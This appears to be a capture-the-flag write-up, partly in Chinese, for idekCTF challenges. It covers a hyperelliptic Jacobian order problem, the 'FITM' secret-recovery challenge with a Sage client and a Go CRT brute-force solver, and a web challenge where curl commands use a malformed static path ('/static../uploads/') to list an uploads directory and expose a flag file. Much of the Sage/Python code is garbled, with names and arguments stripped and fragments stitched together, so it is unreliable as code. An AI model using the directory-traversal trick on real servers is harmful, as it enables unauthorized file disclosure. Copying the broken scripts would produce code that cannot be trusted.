# CORRECTED LINE: Use the Frobenius polynomial as you suggested.
group_order = sum(.())
log.(f"Full Jacobian group order is: {}")
# We still need the Jacobian object to work with its elements.
J = H.()
conn.(b'> ', b'2')
# Parse the point G from server output
conn.(b'(G.U, G.V) = (')
line = conn.(b')', drop=True).()
gu_str, gv_str = line.(', ')
G_U, G_V =(,),(,)
log.(f"Received point G: U={}, V={}")
# Create the point G as a Jacobian element in Sage
G_sage =([,])
identity =(0) # Identity element
# Find the true order by factoring the group order
order_candidate = group_order
prime_factors =()
log.(f"Factoring group order: {}")
for p_factor, exponent in prime_factors:
for _ in range():
test_order = order_candidate // p_factor
if (test_order * G_sage) == identity:
order_candidate = test_order
log.(f"Order is divisible by {}. New candidate: {}")
else:
break
true_order = order_candidate
log.(f"Found true order of G: {}")
conn.(b'Give me the order !')
conn.(b'>', str().())
log.("Correct order sent! Receiving flag...")
flag = conn.()
print(.())
if __name__ == "__main__":
()FITM
方法 1
阶段一:收集候选余数
1. 查询点值
2. 小系数插值
3. 构造格
4. 在格中寻找候选
阶段二:格攻击求解最终秘密
1. 变量模型
2. CRT 合并
3. 构造格
4. 恢复秘密
方法 2
解题思路
第一步:利用DFT恢复多项式系数模p
第二步:构建关于秘密S的同余方程组
solve5.sage 脚本执行了11次这个过程,使用了11个不同的素数 $(p_1, \dots, p_{11})$,从而建立了一个庞大的、带有选择分支的同余方程系统: $$\begin{cases} S \equiv c_1 \pmod{p_1}, & c_1 \in {c_{1,5}, \dots, c_{1,11}} \ S \equiv c_2 \pmod{p_2}, & c_2 \in {c_{2,5}, \dots, c_{2,11}} \ \vdots \ S \equiv c_{11} \pmod{p_{11}}, & c_{11} \in {c_{11,5}, \dots, c_{11,11}} \end{cases}$$第三步:暴力搜索与中国剩余定理求解
solver4_final.go 程序实现了一个并行的深度优先搜索 (DFS) 来遍历这个巨大的搜索树。树的每一层对应一个素数 $p_i$,有7个分支,每个分支对应一个候选的系数值 $c_{i,j}$。go build -o solver4_final solver4_final.go || chmod +x ./solve5.sage || ./solve5.sage#!/usr/bin/env sage
# Filename: solve5.sage
# Precise imports
from pwnlib.tubes.remote import remote
from Crypto.Util.number import getPrime, isPrime
import sys
import subprocess
# --- Configuration ---
HOST = "fitm.chal.idek.team"
PORT = 1337
N_INTERACTIONS = 11
GO_SOLVER_PATH = "./solver4_final"
def get_candidates_and_feed_solver(io, go_stdin):
"""
Performs one interaction with the server to get shares, calculates
candidates using FFT/DFT, and writes the result to the Go solver's stdin.
"""
# 1. Find a special 64-bit prime p where p-1 is divisible by 12
while True:
k =(60)
p = 12 * k + 1
if p.() == 64 and():
break
print(f"[*] Using special prime p = {}", file=.)
# 2. In GF(p), find a primitive 12th root of unity (w)
F =()
PR.<x> =()
f = x^12 - 1
roots = f.(multiplicities=False)
assert len() == 12, "Failed to find 12 roots of unity."
w = None
# *** FIX: Iterate directly over the roots, not tuples ***
for r in roots:
if r.() == 12:
w = r
break
assert w is not None, "Failed to find a primitive 12th root of unity."
# 3. Query the server
io.(b">>> ", b"1")
io.(b"What's Your Favorite Prime : ", str().())
query_points = [w^k for k in range(12)]
query_str = ",".([str() for in])
io.(b"> ",.())
response_line = io.().()
shares_str = response_line.(" : ")[1]
shares = [() for s in eval()]
# 4. Use IDFT to calculate candidate coefficients
candidates = []
inv12 =(1)/12
for m in range(5, 12):
am = 0
for k in range(12):
am +=[] * w^(-m * k)
am *= inv12
candidates.(int())
# 5. Feed the data to the Go solver via its stdin
cand_strs = [str() for c in candidates]
output_line = f"{p},{','.()}"
go_stdin.( + '\n')
go_stdin.()
print(f"[+] Gathered and sent candidates for p = {}", file=.)
def main():
# --- Start the Go Solver Subprocess ---
print("[*] Launching Go solver in the background...", file=.)
try:
go_proc = subprocess.(
[],
stdin=.,
stdout=.,
stderr=.,
text=True,
bufsize=int(1)
)
except FileNotFoundError:
print(f"[-] Error: Go solver executable not found at '{}'", file=.)
print(f"[-] Please compile it first: go build -o {} solver4_final.go", file=.)
sys.(1)
# --- Interact with Server and Feed Solver ---
io =(,)
for i in range():
print(f"\n--- Interaction {+1}/{} ---", file=.)
try:
(,.)
except Exception as e:
print(f"[-] An error occurred: {}. Aborting.", file=.)
io.()
go_proc.()
sys.(1)
# --- Get Result from Go and Submit ---
print("\n[*] All candidates sent to Go solver. Closing its input and waiting for the result.", file=.)
go_proc.stdin.()
result_dec = go_proc.stdout.().()
go_proc.()
if not result_dec:
print("[-] Go solver finished without finding a solution.", file=.)
io.()
return
print(f"[+] Go solver found the secret! (decimal): {}", file=.)
secret_hex = hex(int())[2:]
print(f"[*] Submitting final secret (hex): {}", file=.)
io.(b">>> ", b"2")
io.(b"Guess the secret : ",.())
io.()
io.()
if __name__ == "__main__":
()// Filename: solver4_final.go
package main
import (
"bufio"
"fmt"
"math/big"
"os"
"runtime"
"strings"
"sync"
"time"
"github.com/schollz/progressbar/v3"
)
type CrtTask struct {
Modulus *big.Int
Candidates []*big.Int
}
type CrtContext struct {
nInv *big.Int
mInv *big.Int
term1 *big.Int
term2 *big.Int
}
func NewCrtContext() *CrtContext {
return &CrtContext{
nInv: new(big.Int),
mInv: new(big.Int),
term1: new(big.Int),
term2: new(big.Int),
}
}
// A robust, symmetric implementation of CRT
func (c *CrtContext) Crt(a, m, b, n *big.Int) (*big.Int, *big.Int) {
newMod := new(big.Int).Mul(m, n)
c.nInv.ModInverse(n, m)
c.term1.Mul(a, n)
c.term1.Mul(c.term1, c.nInv)
c.mInv.ModInverse(m, n)
c.term2.Mul(b, m)
c.term2.Mul(c.term2, c.mInv)
result := new(big.Int).Add(c.term1, c.term2)
result.Mod(result, newMod)
return result, newMod
}
func findSecretDFS(level int, currentS, currentMod *big.Int, tasks []CrtTask, resultChan chan *big.Int, bar *progressbar.ProgressBar, ctx *CrtContext) *big.Int {
select {
case <-resultChan:
return nil
default:
}
if level == len(tasks) {
bar.Add(1)
bound := new(big.Int).Lsh(big.NewInt(1), 640) // 80 bytes * 8 bits/byte
if currentS.Sign() > 0 && currentS.Cmp(bound) < 0 {
return currentS
}
return nil
}
task := tasks[level]
for _, candidate := range task.Candidates {
newS, newMod := ctx.Crt(currentS, currentMod, candidate, task.Modulus)
if result := findSecretDFS(level+1, newS, newMod, tasks, resultChan, bar, ctx); result != nil {
return result
}
}
return nil
}
func main() {
numCPU := runtime.NumCPU()
procs := numCPU - 2
if procs < 1 {
procs = 1
}
runtime.GOMAXPROCS(procs)
fmt.Fprintf(os.Stderr, "System has %d CPU cores. Go program will use %d cores.\n", numCPU, procs)
fmt.Fprintln(os.Stderr, "Go Solver: Waiting for data from stdin...")
scanner := bufio.NewScanner(os.Stdin)
var tasks []CrtTask
for scanner.Scan() {
parts := strings.Split(scanner.Text(), ",")
if len(parts) < 2 { continue }
mod, _ := new(big.Int).SetString(parts[0], 10)
task := CrtTask{Modulus: mod}
for i := 1; i < len(parts); i++ {
cand, _ := new(big.Int).SetString(parts[i], 10)
if cand.Sign() < 0 {
cand.Add(cand, mod)
}
task.Candidates = append(task.Candidates, cand)
}
tasks = append(tasks, task)
}
if err := scanner.Err(); err != nil {
fmt.Fprintf(os.Stderr, "Error reading from stdin: %v\n", err)
os.Exit(1)
}
if len(tasks) == 0 {
fmt.Fprintln(os.Stderr, "No valid data received from stdin. Exiting.")
os.Exit(1)
}
fmt.Fprintf(os.Stderr, "Go Solver: Received %d sets of candidates. Starting search...\n", len(tasks))
totalPaths := int64(1)
for _, task := range tasks {
totalPaths *= int64(len(task.Candidates))
}
bar := progressbar.NewOptions64(
totalPaths,
progressbar.OptionSetDescription("Searching"),
progressbar.OptionSetWriter(os.Stderr),
progressbar.OptionShowCount(),
progressbar.OptionSetWidth(40),
progressbar.OptionThrottle(100*time.Millisecond),
progressbar.OptionSpinnerType(14),
)
startTime := time.Now()
resultChan := make(chan *big.Int, 1)
var wg sync.WaitGroup
initialTask := tasks[0]
for _, initialCandidate := range initialTask.Candidates {
wg.Add(1)
go func(startCand *big.Int, startMod *big.Int) {
defer wg.Done()
ctx := NewCrtContext()
if result := findSecretDFS(1, startCand, startMod, tasks, resultChan, bar, ctx); result != nil {
select {
case resultChan <- result:
default:
}
}
}(initialCandidate, initialTask.Modulus)
}
go func() {
wg.Wait()
close(resultChan)
}()
finalSecret, ok := <-resultChan
bar.Finish()
duration := time.Since(startTime)
// --- *** MODIFIED OUTPUT *** ---
if ok {
fmt.Println(finalSecret)
fmt.Fprintf(os.Stderr, "\nGo Solver: Success! Found secret in %v.\n", duration)
} else {
fmt.Fprintf(os.Stderr, "\nGo Solver: Search completed, but no valid secret was found.\n")
fmt.Fprintf(os.Stderr, "Time elapsed: %v\n", duration)
}
}Web
*midi visualizer
上传目录 的文件,但我们并没有文件名,于是构造暴露出目标目录下所有信息
> curl https://midi-visualizer-web.chal.idek.team/static/../uploads/
Not Found%
> curl https://midi-visualizer-web.chal.idek.team/static../uploads/ | rg flag
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 524k 100 524k 0 0 416k 0 0:00:01 0:00:01 --:--:-- 416k
<a href="./flag-41589d62bca4bcc031e55ca2.mid">flag-41589d62bca4bcc031e55ca2.mid</a>